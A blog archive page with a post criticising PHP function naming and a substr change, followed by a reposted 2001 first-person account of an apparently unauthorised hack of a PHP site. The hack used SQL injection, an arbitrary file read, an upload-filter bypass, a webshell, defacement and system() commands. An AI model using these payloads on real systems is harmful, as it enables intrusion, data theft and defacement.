批评一下 PHP
March 23, 2008 10:43 pm | In Tech | 3 Comments | hidePHP 里函数多如牛毛,加进去又没什么统一规划,搞得现在成了命名法大杂烩,比如:
- obj_verb 型的:array_slice() http_inflate()
- verb_obj 型的:create_function() parse_str()
- verbobj 不加下划线:setcookie() addslashes()
- 直接把 POSIX 传统函数拿来用的:opendir() fopen()
- 这种算什么呢:error_reporting() htmlspecialchars() 特别是这个 htmlspecialchars 命名毫无章法
- 新老 DOM 类函数不一样:一个叫 getAttribute(),另一个叫 get_attribute()
- 你可能会说,那同类函数可能命名法就一致了吧?也不全是,日历函数:
- verb_obj:cal_days_in_month()
- 大写首字母不加下划线:JDDayOfWeek()
- 突然又全小写了:jdtounix()
(其实 PHP 函数名不分大小写,最后这俩只是文档故意添乱) 晕死。有人说,你真弱,用多了就全熟了。好吧,我是比较弱,可是我知道有人在知名大公司天天写 PHP 还是和我一样晕……PHP 函数命名为什么这么乱?给俩链接:
- 20 possible reasons why PHP function names and parameters are weird
- Do You PHP? 里第二部分:The Ugly Duckling of Programming Languages
换个话题,最近 PHP 的 substr 函数被人改坏了。
There was a small inconsistency between PHP 5.2.1 and 5.2.2. In PHP 5.2.1, substr($str, $start) returns the full $str if ($start < 0 && abs($start) > strlen($str)). But starting from PHP 5.2.2, FALSE would be returned. Before 5.2.2, this behavior was conveniently used to extract at most N last characters of a string, e.g. $str = substr($str, 30); limits $str to at most 30 characters and truncate from the beginning if necessary. However, this no longer works! See also: diff-5.2.1-5.2.2, bug 41375. This is likely to change back in PHP 5.3, given what’s recently been done on PHP_5_3 branch.
PHP Doc 有正方呼吁:This is a small inconsistency, one of those things that makes the life of a PHP programmer like hell. Bugzilla 上反方辩护:The fact that it worked up until 5.2.1 doesn’t mean that you should have used it. 这个问题其实最开始只是因为别的原因无意间改错的,但是 PHP 内部却有人坚持错误,有人报告这个问题也被归类为 Bogus(意思就是说,RTFM,回家好好读文档去)。其实文档也不明确,现在基于各种原因,PHP 5.3 分支上又改回去了,真是搬起石头砸自己的脚。
说个微软搬石头砸自己脚的故事。IE 最开始搞出 {client,offset,scroll}{Top,Width,Height,Left} 十二个很有意义的 HTML 属性用来方便的设置/获取对象大小/位置等信息,实在是一个很好很强大的发明,基本也铁定进 HTML5 了。不过 IE 里面的制造标准不明确,各类元素定义略有不同,反倒别的浏览器抄得更和谐。搞到现在的局面是,微软自己发明的东西,反倒被 QuirksMode 说成 IE 里 incorrect/buggy,不如别的浏览器“正确”,真是衰啊。
314被黑全过程
July 30, 2001 10:41 am | In Tech | No Comments | hide发信人:atp(Big Mouse),信区:网络安全
标 题:利用文件上传脚本的漏洞——最最简单的http攻击
发信站:安全焦点(2001-07-30 10:41:37)
314被黑全过程
漏洞在文件上传的功能
系统服务器:Win32, Apache, PHP, mySQL
本来没打算要黑的,但是因为他们开了FTP服务器,而其中一个用户的密码我又刚好知
道,所以就把他们主页上论坛的代码偷出来看了一下,mySQL的处理不很严密,$id之类
的变量都没有加引号,普通的字符串加了引号但是没有用mysql_escape_string处理,
我一开始就朝这个方向努力。有一个地方是这样写的:
$result=mysql_query("select * from article where flag='' and id="
.$father,$db);
我在一片id是347贴子里面写了个PHP,然后我post了这么一个father:
347 into outfile 'f:/htdocs/cmd.php'
这样就能把贴子的内容写到php里面。注意,我熟悉他们的文件系统,web文件在
"f:\htdocs\"下面我事先是知道的。
但是没有成功,我开始以为是mysql把文件的权限去掉了,过了一会儿才想起来一定是
他们的php.ini里面设置了
magic_quotes_gpc=On
这样引号到了php脚本里面就自动加上了反斜杠,这么基本的概念我忘了,惭愧惭愧
于是我认为他们的论坛是无懈可击的,但是后来我注意到论坛上的一个上传的功能。我
试了一下,禁止了.php的上传,我觉得没有漏洞,但是出于好奇,我把它处理上传的
php拿下来看了一下,最关键的代码是这样的:
else if (file_exists("upload/".$file_name))
$upload_error="已经存在一个叫$file_name 的文件。";
else if (strtolower(substr($file_name,-4))==".php")
$upload_error="不能上传.php 文件。";
else if (preg_match("/\//i",$file_name)) $upload_error="你在干什么?";
else if (!copy($file,"upload/".$file_name)) $upload_error="原因不明。";
看起来判断很严密,因为在windows文件系统里面,最后一个字符是不能为空格的(相
应的材料可以在linux处理vfat的那个模块里面查到)。但是作者没有用
is_uploaded_file来判断,这个漏洞很久远了,我试了下面的URL:
upload.php?file_name=a.txt&file=c:/autoexec.bat
autoexec.bat就可以用浏览器看见了。我觉得不知足,上传了一个instruction.txt的
文件,文件内容如下:
如果这个文件是.php的话就可以用来执行任何的php命令。我用了这样一个URL:
upload.php?file_name=cmd.php%20&file=f:/htdocs/weed/upload/instruction.txt
作者提示了上传以后文件的位置,所以我很容易知道我传上去的instruction.txt的绝
对路径。注意这里我在cmd.php后面加了一个空格,骗过了作者的php脚本,copy函数
忠实的为我服务了。
这样cmd.php就已经在服务器上了。
然后就是直接发命令了,我先上传了一个我自己的首页,然后依次往cmd.php POST了
两个cmd上去:
rename("f:/htdocs/index.php", "f:/htdocs/index.old.php");
rename("f:/htdocs/weed/upload/mypage.html", "f:/htdocs/index.html");
好了,首页已经被改掉了。然后就是很老套了,服务器上有了后门,操作就容易了:
system("dir c:\\");
这个列出了服务器上c:\下面的文件
system("type f:\\htdocs\\weed\\forum.php");
这个列出了论坛的一个PHP的源码。
忠告:做大站点很难保证代码没有一点问题,但是要注意的是,即使是很小的一个漏
洞,也可能可以毁了整个站点。
wuxinan@wuxinan.net
ATP
攻击方法都是很老套的了,可以自由转载
--
※ 来源:·安全焦点讨论区 www.xfocus.org·
This weblog is licensed under a
Creative Commons License.
Powered by WordPress. Theme based on Pool by Borja Fernandez.